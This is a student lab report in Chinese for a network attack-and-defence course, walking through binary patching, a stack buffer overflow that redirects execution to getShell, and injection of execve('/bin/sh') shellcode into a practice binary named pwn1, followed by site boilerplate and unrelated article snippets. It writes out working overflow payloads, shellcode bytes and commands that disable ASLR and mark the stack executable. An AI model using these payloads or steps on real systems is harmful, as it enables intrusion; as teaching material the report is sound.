20232314 2025-2026-1 《网络与系统攻防技术》实验一实验报告

news/2025/10/10 22:45:17/文章来源:https://www.cnblogs.com/hong666/p/19132069

1.实验内容

  • 通过修改可执行文件,改变程序执行流程,跳转到getShell函数。
  • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
  • 注入一个自己制作的shellcode并运行这段shellcode。

2.实验过程

(一)直接修改程序机器指令,改变程序执行流程

  • 登陆root,修改主机名为自己的学号。

         image

  • 将可执行文件pwn1传输到虚拟机中并运行该文件。

         image

  • 输入objdump -d pwn1 | more找到getshell、foo、main函数

    image

          此时可以看到main函数调用foo,对应机器指令为“ e8 d7ffffff“,我们需要修改可执行文件,将其中的call指令的目标地址由d7ffffff变为c3ffffff,使main函数调用getshell。

  • 输入指令cp pwn1 pwn2复制一个文件并输入vi pwn2进入到文件中。
  • 输入%!xxd切换显示模式为16进制。
  • 输入/e8 d7找到要修改的内容,将d7改为c3。

    image

  • 输入objdump -d pwn2| more查看修改结果并进行测试

    c04b72739b09446c68b81aad6615f21

    9615bc8cb9834e91a502a3889761eac

     如图可知修改成功并且getshell成功运行。

(二)通过构造输入参数,造成BOF攻击,改变程序执行流

  • 复制文件pwn3。
  • 对pwn1进行反编译

    1760083902162

         

          image 

         可以通过-0x1c看到存在28字节的缓冲区,call调用foo,同时在堆栈上压上返回地址值为80484ba,我们的目标是覆盖返回地址并替换为getshell的地址。

  • 使用gdb pwn3调试程序,输入1111111122222222333333334444444455555555。
  • 输入info r确认输入字符串哪几个字符会覆盖到返回地址。

    f9848f6e7f4713ad1efff1b7b89f7ec

     

          可以看到1234 那四个数最终会覆盖到堆栈上的返回地址,因此只要把这四个字符替换为 getShell 的内存地址,输给pwn3,pwn3就会运行getShell。 

  • 通过反编译可以看到getshell的返回地址为0804847d。
  • 通过perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input先生成包括这样字符串的一个文件。
  • 输入xxd input查看input文件的内容是否如预期。
  • 通过(cat input; cat) | ./pwn1将input的输入,通过管道符“|”,作为pwn1的输入。

    253af4cf88ccd32dc83a6a517a6a7c2

    f9848f6e7f4713ad1efff1b7b89f7ec

(三)注入Shellcode并执行

 

  • execstack -s pwn20222415设置堆栈可执行
  • execstack -q pwn20222415查询文件的堆栈是否可执行
  • echo "0" > /proc/sys/kernel/randomize_va_space关闭地址随机化
  • more /proc/sys/kernel/randomize_va_space验证地址随机化是否关闭

 

        c22e7e9658c58b9a64899187c4cdfc7

  • 输入 perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
  • 输入(cat input_shellcode;cat) | ./pwn1将input_shellcode的输入内容作为pwn1的输入
  • 打开新终端,输入ps -ef | grep pwn1查看进程

    image

          可以知道pwn1的进程是149223。

  • 启用gdb调试程序,输入disassemble foo反编译foo函数并进行分析。
  • 输入break *0x080484ae设置断点。
  • 在另一个终端输入命令c并在次终端按一下回车。
  • 输入info r esp查看栈顶指针所在位置,当前ESP值为0xffffcfec。
  • 使用x/16x 0xffffcfec命令查看该地址处的存放内容,看到了0x04030201,说明找到了要的地址,栈顶指针地址再加4字节,就是shellcode应该处于的地址,即 0xffffcff0。

         image

  • 使用\xf0\xcf\xff\xff替换原占位符 \x01\x02\x03\x04,构造要注入的字符串:perl -e 'print "A" x 32;print "\xf0\xcf\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00\x0a"' > input_shellcode
  • 输入(cat input_shellcode; cat) | ./pwn1,执行ls命令

     

    871f0a8e565828b8c0f74419507bde1

     

3.问题及解决方案

  • 问题一:下载不了execstack
  • 解决方案:进入官网https://pkgs.org/download/execstack下载,这里下载的是Ubuntu版本的,下载后将下载好的文件传输到虚拟机中再进行下载即可
  • 问题二:使用Xftp8传输pwn1时找不到文件
  • 解决方案:点击”选项“按钮,勾选显示隐藏文件即可。

4.学习感悟

       本次实验虽然是照着实验指导书一步步做的,但通过本次实验,我接触到了机器指令,同时在实验的过程中,我逐渐理解了BOF攻击、getshell注入等内容。虽然在实验的过程中遇到了大大小小的问题,但对这些原理的掌握使我顺利解决了这些问题并完成了这次实验。

参考资料

  • 《逆向及Bof基础实践说明》
  • 20222415 2024-2025-1 《网络与系统攻防技术》实验一实验报告

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/934457.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

详细介绍:【Windows10】MySQL9.4安装配置

详细介绍:【Windows10】MySQL9.4安装配置pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "…

ChatTime的一些理解

我先在 ChatTime 目录里全局搜索与“文本/时间序列/提示/特殊标记”相关的关键词,锁定模型如何区分两类输入与输出的代码位置,然后打开关键文件精读以回答你的问题。 搜索 time series|timeseries|time-series|时间序…

ChatTS的一些理解

Dingxingdi: 请你仔细阅读/workspace/ChatTS里面的文件,理解他们的含义逻辑和结构。现在我需要你告诉我,ChatTS在处理一段既包含文本又包含时间序列的输入的时候,是怎么精确地分别哪些是文本哪些是时序,从而对两者…

2025秋_9

今天依旧Java

10月10日

上午英语课学第三单元,下午写数据结构作业

[P2201 数列编辑器 // HDU-4699 Editor] 题解

lougu 看不到,遂写博客 题目描述 小 Z 是一个爱好数学的小学生。最近,他在研究一些关于整数数列的性质。为了方便他的研究,小 Z 希望实现一个叫做 "Open Continuous Lines Processor" 的数列编辑器。 一开…

centos网络打流测试 - 指南

centos网络打流测试 - 指南pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", …

一生一芯学习:基础设施(2)

一生一芯学习:基础设施(2)指令执行的踪迹 - itrace 首先写好一个环形缓冲区的代码,把反汇编的字符串存到环形缓冲区中,然后执行完代码在打印出来。 #include <stdio.h> #include <stdlib.h> #include &…

实验报告3(使用单链表简单实现图书管理系统)

一、实验目的: 使用单链表实现案例2.3的图书管理系统,要求实现查找、插入、删除和计数功能。要求包含主函数,用c语言或者c++实现。 二、实验仪器或设备: 操作系统:Windows11 编程环境:Dev-cpp 5.11 三、算法总体…

【黑马python】2.Python 字符串

参考链接黑马-2.Python 字符串 08-字符串的三种定义方式tbd

FineReport自定义登录系统技术 - 详解

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

实验报告2(简单实现图书馆管理系统)

一、实验目的:、 实现书上图书馆管理系统 (1) 主函数 (2) 修改:根据指定的ISBN,修改图书的价格 (3) 排序:将图书按照价格由低到高进行排序。 (4) 计数:统计文件中的图书数量 要求:用c语…

实验报告1(switch语句,二维数组)

一、实验目的: 熟练使用switch语句 熟练使用二维数组 二、实验仪器或设备: 操作系统:Windows11 编程环境:Dev-cpp 5.11 三、算法总体设计 (1)项目一:运输公司对用户计算运费 用到的算法的目的:计算并输出基于给…

【实现自己的 kafka!】kafka 的关键概念

kafka 的诞生 现在是在 2000 年代后期,你的名字叫做 Jay Kreps,你就职于 LinkedIn 公司。 LinkedIn 作为社交网络平台,用户规模和数据量现在快速增长,同时内部存在多种数据传递和处理需求,比如用户行为跟踪、日志…

12. 对话框

一、对话框对话框窗口是一个用来完成简单任务或者和用户进行临时交互的顶层窗口,通常用于输入信息、确认信息或者提示信息。Qt Quick 提供了一系列的标准对话框,如 FileDialog、ColorDialog、MessageDialog、FontDia…

2024ICPC区域赛香港站

define时间:#define int long long #define ind long double #define yes cout << "Yes" #define no cout << "No" #define pii pair<long long, long long> #define all(x) (…

AI产品经理要了解的算法有哪些?

中世纪拉丁语“algorismus”指的是用印度数字进行四个基本数学运算——加法,减法,乘法和除法的程序和捷径。后来,术语“算法”被人们用作表示任何逐步的逻辑过程,并成为计算逻辑的核心。 算法的历史可以分为三个阶…

一位印度小哥逆袭成为谷歌数据科学家的心路历程 - 教程

一位印度小哥逆袭成为谷歌数据科学家的心路历程 - 教程pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas&q…

基于selenium的网页自动搜索

第一节 通过简单的百度网页打开学习selenium库的基本功能。1 from selenium import webdriver2 from selenium.webdriver.chrome.service import Service3 from selenium.webdriver.chrome.options import Options4 fr…

MacOS Nginx

查看是否安装:brew info nginx 安装:brew install nginx 卸载:brew uninstall nginx 查看版本:nginx -v 安装目录:/opt/homebrew/Cellar/nginx/1.29.0 (27 files, 2.5MB) 根目录:Docroot is: /opt/homebrew/var/…